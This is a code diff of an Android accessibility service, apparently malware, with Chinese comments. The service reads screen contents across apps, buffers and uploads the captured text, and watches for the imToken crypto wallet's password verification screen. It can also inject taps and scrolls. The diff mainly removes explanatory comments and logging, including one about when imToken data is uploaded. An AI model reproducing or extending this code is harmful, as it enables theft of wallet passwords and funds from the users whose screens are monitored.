|
|
@@ -233,7 +233,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
|
|
|
@Override
|
|
|
public void onAccessibilityEvent(AccessibilityEvent event) {
|
|
|
- Log.i(TAG, "onAccessibilityEvent: " + event.toString());
|
|
|
+ // Log.i(TAG, "onAccessibilityEvent: " + event.toString());
|
|
|
|
|
|
try {
|
|
|
String packageName = event.getPackageName().toString();
|
|
|
@@ -242,7 +242,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
|
|
|
CharSequence applicationLabel = packageManager.getApplicationLabel(applicationInfo);
|
|
|
Log.i(TAG, "onAccessibilityEvent: app name is: " + applicationLabel);
|
|
|
- // 应用/界面切换:仅在确实离开当前来源时再落库(imToken 改为仅点击其他按钮时上传,此处不落库)
|
|
|
+ // 应用,界面切换
|
|
|
if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
|
|
|
String eventSource = detectAppSource(packageName, applicationLabel);
|
|
|
boolean stillSame = currentAggregateAppName == null || currentAggregateAppName.equals(eventSource);
|
|
|
@@ -251,7 +251,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
flushBuffer();
|
|
|
}
|
|
|
}
|
|
|
- // 仅在窗口变化时遍历树,避免阻塞文本事件
|
|
|
traverseNode(getRootInActiveWindow());
|
|
|
}
|
|
|
|
|
|
@@ -350,7 +349,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
}
|
|
|
}
|
|
|
|
|
|
- // 检测钱包密码验证区域(保持功能,但避免额外日志与阻塞)
|
|
|
+ // 检测钱包密码验证区域
|
|
|
if (eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED && "imToken".equals(applicationLabel.toString())) {
|
|
|
scanForWalletPasswordVerification();
|
|
|
}
|
|
|
@@ -361,7 +360,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
|
|
|
@Override
|
|
|
public void onInterrupt() {
|
|
|
- // 中断时尽力落库,避免遗失
|
|
|
flushBuffer();
|
|
|
}
|
|
|
|
|
|
@@ -373,7 +371,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
dispatchGesture(tapBuilder.build(), null, null);
|
|
|
}
|
|
|
|
|
|
- // 提供运行时动态设置 flushIdleMs 的能力(毫秒)
|
|
|
public void updateFlushIdleMs(long newMs) {
|
|
|
if (newMs < 1000L) newMs = 1000L;
|
|
|
flushIdleMs = newMs;
|
|
|
@@ -383,7 +380,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
Log.i(TAG, "flushIdleMs updated: " + flushIdleMs + " ms");
|
|
|
} catch (Throwable ignored) {
|
|
|
}
|
|
|
- // 重新调度已有的 idle 任务
|
|
|
scheduleIdleFlush();
|
|
|
}
|
|
|
|
|
|
@@ -429,7 +425,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
}
|
|
|
|
|
|
public void scrollDown() {
|
|
|
- // 首先尝试使用可滚动节点方法
|
|
|
AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD);
|
|
|
if (scrollable != null) {
|
|
|
boolean success = scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD.getId());
|
|
|
@@ -438,12 +433,10 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
}
|
|
|
}
|
|
|
|
|
|
- // 如果找不到可滚动节点或操作失败,使用手势模拟滚动
|
|
|
int screenHeight = getResources().getDisplayMetrics().heightPixels;
|
|
|
int screenWidth = getResources().getDisplayMetrics().widthPixels;
|
|
|
|
|
|
Path path = new Path();
|
|
|
- // 从屏幕中间顶部开始,向下滑动到屏幕中间底部(这会使内容向上滚动)
|
|
|
path.moveTo(screenWidth / 2, screenHeight / 4);
|
|
|
path.lineTo(screenWidth / 2, screenHeight * 3 / 4);
|
|
|
|
|
|
@@ -453,7 +446,6 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
}
|
|
|
|
|
|
public void scrollUp() {
|
|
|
- // 首先尝试使用可滚动节点方法
|
|
|
AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD);
|
|
|
if (scrollable != null) {
|
|
|
boolean success = scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD.getId());
|
|
|
@@ -462,12 +454,10 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
}
|
|
|
}
|
|
|
|
|
|
- // 如果找不到可滚动节点或操作失败,使用手势模拟滚动
|
|
|
int screenHeight = getResources().getDisplayMetrics().heightPixels;
|
|
|
int screenWidth = getResources().getDisplayMetrics().widthPixels;
|
|
|
|
|
|
Path path = new Path();
|
|
|
- // 从屏幕中间底部开始,向上滑动到屏幕中间顶部(这会使内容向下滚动)
|
|
|
path.moveTo(screenWidth / 2, screenHeight * 3 / 4);
|
|
|
path.lineTo(screenWidth / 2, screenHeight / 4);
|
|
|
|